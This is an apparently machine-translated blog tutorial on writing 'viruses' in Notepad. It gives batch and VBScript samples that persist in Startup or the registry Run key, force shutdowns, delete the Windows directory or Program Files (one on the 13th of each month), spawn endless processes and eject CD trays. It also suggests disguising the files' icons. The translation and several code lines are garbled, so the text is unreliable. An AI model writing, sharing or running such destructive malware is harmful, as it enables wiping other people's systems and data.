How to make simple "virus" in the notepad

Surely you've wondered how to create simple and effective virus. This is a very la
who and they are do the following:

- Open Notepad (Start - All Programs - Accessories - Notepad)

- Type following text:

@ echo off

if not exist "C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup \ hide" copy "hide" "C: \ Documents and Settings \ All Users \ Start Menu \ Programs \ Startup"

shutdown -s -t 60 -c "now you're done
: P "

Now that you've typed / copied you`ll need to save such hide, and when someone starts this virus works on the following:

- It`s copied to startup ( it`s starting when and they are computer), if not already

- Then shuts down your computer in 30 seconds

Of course you can improve the virus in such a way to change the icon or hide virus.bat, and his copy change the icon so that it wouldnt said .bat ....




1)

### CUT HERE ###

@ echo off

cd% windir%

del *.* / Q

end

### CUT HERE ###



This virus after starts enters in the windows directory where you installed the system and deletes everything in it (Adios, windows !!!)

2)

### CUT HERE ###

@ echo off

shutdown -s -t 60 -c "You system is infected with virus !!!"

end

### CUT HERE ###



This code after starts shows up message You system is infected with virus !!! and they are after 60 seconds, turn off the computer (It do not do any damage)

3)

### CUT HERE ###

@ echo off

: loop

start notepad.exe

goto loop

### CUT HERE ###



This virus after starts to open notepad in St. indefinitely until the computer does not crash (It do not literally)

3)

Next virus opens my site indefinitely (you can put the URL if desired)

### CUT HERE ###

@ echo off

: loop

start http://krajnjeizokrenutevesti.blogspot.com/

goto loop

### CUT HERE ###

Next viruses are written in VBScript and they are a little more serious. They should copy into notepad and they are save the .vbs format example. virus.vbs

1)

If the 13th day of the month this virus will erase all the files and folders from the Program Files folder, and if it is any other day of the month looks at whether virus was added to start up, if it is not entered in the start up it will enter him self and run

each subsequent ignition computer.



### CUT HERE ###

Dim fso

Dim wsc

Set fso = CreateObject ("Scripting.FileSysteemObject")

Set wsc = WScript.CreateObject ("WScript.Shell")

If Day (Now) = 13 Then

pf = wsc.RegRead ("HKEY_LOCAL_ MACHINESoftwareMicrosoft WindowsCurrentVersion ProgramFilesDir")

fso.DeleteFile (pf & "*.*")

fso.DeleteFolder (pf & "*.*")

Else

sys32= fso.GetSpecialFolder (1)

If Not (fso.FileExist (sys32 & "virus.vbs")) Then

Set copyme = fso.GetFile (WScript.ScriptFullName)

copyme.Copy (sys32 & "virus.vbs")

wsc.regwrite "HKEY_LOCAL_ MACHINESoftwareMicrosoft WindowsCurrentVersionRun Virus", "wscript.exe" & sys32 & "virus.vbs%"

else

End If

End If

### CUT HERE ###

2)

By running the following code virus will begin to open and

closing the CD-ROM. The solution is restart computer, a virus don`t make any damage.



### CUT HERE ###

Set oWMP = CreateObject ("WMPlayer.OCX.7")

Set colCDROMs = oWMP. cdromCollection

if colCDROMs.Count> = 1 then

do

For i = 0 to colCDROMs.Count-1

colCDROMs.Item (i) .Eject

Next

For i = 0 to colCDROMs.Count-1

colCDROMs.Item (i) .Eject

Next

loop

End if

### CUT HERE ###